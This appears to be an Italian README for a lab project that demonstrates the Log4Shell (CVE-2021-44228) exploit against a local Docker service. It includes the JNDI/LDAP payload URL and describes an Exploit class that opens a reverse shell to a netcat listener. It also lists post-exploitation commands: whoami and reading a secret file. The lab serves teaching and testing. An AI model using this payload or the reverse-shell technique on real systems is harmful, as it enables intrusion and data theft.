
Presenta come sfruttare la vulnerabilità CVE-2021-44228.
Un progetto basato su Java che mostra come sfruttare la vulnerabilità CVE-2021-44228.
jdk1.8.0_181 creata durante l'estrazione.make all per compilare tutti i progetti e creare un'immagine Docker con il servizio vulnerabile.make start-vulnerable-service per avviare un container Docker che esegue il servizio da sfruttare. Il servizio sarà accessibile attraverso la porta 8080 della macchina localemake start-nc per avviare un listener TCP che attenderà che venga stabilita la connessione con il server invaso.make start-exploiter per avviare il programma che ci aiuterà a sfruttare la vulnerabilità.make start-nc). Potresti aver ricevuto un messaggio come Connection received on 172.24.0.2 46638 (l'indirizzo IP e la porta TCP potrebbero non essere gli stessi mostrati qui). Questo significa che lo sfruttamento ha funzionato e ora abbiamo una shell collegata al server/container Docker.Prima di rispondere, diamo un'occhiata ai processi creati durante il flusso.

Questo container Docker servirà un semplice servizio HTTP responsabile di ricevere richieste GET sul percorso /log con un parametro input. Una volta ricevuto, registra l'input sulla console.
Per sfruttare la vulnerabilità, sono necessarie alcune configurazioni specifiche:
1.8.0_181. Ciò è necessario per consentire il caricamento di una classe Java da un servizio esterno.spring-boot-starter-logging:2.6.1 predefinito con spring-boot-starter-log4j2:2.6.1. Quest'ultimo porta log4j-core:2.14.1 nel progetto, che è una versione vulnerabile a CVE-2021-44228.
1.8.0_181.Non ci sono grandi spiegazioni o modifiche qui. È un semplice programma usato per leggere e scrivere dati attraverso i protocolli TCP e UDP. Lo useremo per rimanere in ascolto di connessioni TCP in arrivo sulla porta 9001 (qualcos'altro aprirà questa connessione per noi lato server. 😉).
Una volta stabilita la connessione, tutti i dati in arrivo verranno mostrati sulla console. Inoltre, tutto l'input scritto verrà inviato attraverso questa connessione.
Ed è qui che il divertimento ha inizio!
Questo programma racchiude diversi passaggi necessari per sfruttare la vulnerabilità. Analizziamolo:
Per eseguire questo programma, dobbiamo fornire tre parametri:
Una volta avviato il programma, scriverà un codice Java basato su un template. Questo template richiede due argomenti: l'indirizzo IP e la porta di Netcat.
Una volta scritto il codice, il programma lo compilerà in un file di classe binario usando il compilatore Java (javac) versione 1.8.0_181. Questo è importante per mantenere la stessa versione del codice del servizio sfruttato.
La classe Java Exploit ha una struttura piuttosto semplice. Nel suo costruttore c'è un'istruzione che chiede al sistema operativo di creare un programma shell. Una volta creata, la classe apre una connessione TCP con Netcat, collega gli input e output della shell e della connessione TCP e intrappola l'esecuzione della Java Virtual Machine in un ciclo finché la connessione non viene chiusa da Netcat. Una volta uscita dal ciclo, il costruttore continua come se nulla fosse successo.
Exploiter apre un sottoprocesso che richiede l'esecuzione del programma Java Marshalsec. Il programma Marshalsec è disponibile nel progetto Github mbechler/marshalsec.
Insieme ad altre funzionalità, gestisce le richieste LDAP e può essere usato per chiedere alle connessioni in arrivo di risolvere le richieste scaricando classi Java da una fonte esterna. Nel nostro caso, lo useremo per chiedere alle connessioni in arrivo di scaricare la nostra classe Java Exploit dal servizio HTTP.
Una volta che il programma Exploiter ha creato la classe Java truccata, avvierà un servizio HTTP con una singola risposta: la classe Java binaria Exploit.
In breve, quando il servizio vulnerabile richiede il caricamento della classe esterna, questo servizio leggerà il file binario della classe Java e lo rimanderà al servizio vulnerabile. Semplice, no?
Una volta che tutto è attivo e funzionante, il programma mostrerà la richiesta HTTP necessaria per innescare lo sfruttamento. Basta copiarla e incollarla nel tuo browser preferito o farla con curl tramite un terminale, quello che preferisci!
La richiesta sarà simile a questa:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
Poiché i parametri della query contengono caratteri speciali, devono essere codificati affinché il browser possa accettarli. Se la decodifichiamo, il messaggio sarà:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
Ecco un diagramma semplificato di cosa succede una volta inviata la richiesta:

Proverò a usarlo per spiegare cosa succede dopo:
${jndi:ldap://host.docker.internal:1389/a}.host.docker.internal:1389 usando la chiave a (un nome distinto LDAP piuttosto banale e invalido ma, ehi, finché funziona...). Log4j invia quindi una richiesta a questo indirizzo con l'intento di recuperare il valore.Osservazione: host.docker.internal è un indirizzo valido dal servizio Docker per raggiungere la macchina fisica su cui è in esecuzione.
host.docker.internal:8000 con il nome Exploit per risolvere la richiesta.host.docker.internal:8000 chiedendo di ottenere una risorsa disponibile sul percorso /Exploit.Exploit.Exploit().Exploit() avvia un programma shell sul server e richiede l'apertura di un canale TCP con host.docker.internal:9001.Exploit() collega quindi gli input e output della shell con la connessione TCP e intrappola il thread della Java Virtual Machine in un ciclo finché la connessione TCP non viene chiusa dall'altra parte.TBD
Progetto Github kozmer/log4j-shell-poc - Mi ha aiutato a capire come funziona lo sfruttamento. Grazie a tutti coloro che hanno contribuito a questo progetto!
Progetto Github mbechler/marshalsec - Non sarei stato in grado di lavorare con la comunicazione LDAP e il reindirizzamento così rapidamente come ho fatto senza questo progetto. Grazie ragazzi!
Video sulla vulnerabilità Log4j di SrcCodes - Un video ben spiegato che mostra come avviare lo sfruttamento su un programma basato su Spring.
Video demo dello sfruttamento di CVE-2021-44228 di Nowcomm - Un bel video che spiega come sfruttare CVE-2021-44228 su Apache Solr. Ho dovuto guardare la seconda metà circa una dozzina di volte per capire cosa stesse realmente succedendo! 😛
whoami. Potresti ricevere root come output.cat ../private-directory/my-secret-file.txt per vedere cosa succede. 🙂CTRL+C per chiudere la connessione.CTRL+C negli altri terminali per interrompere i processi.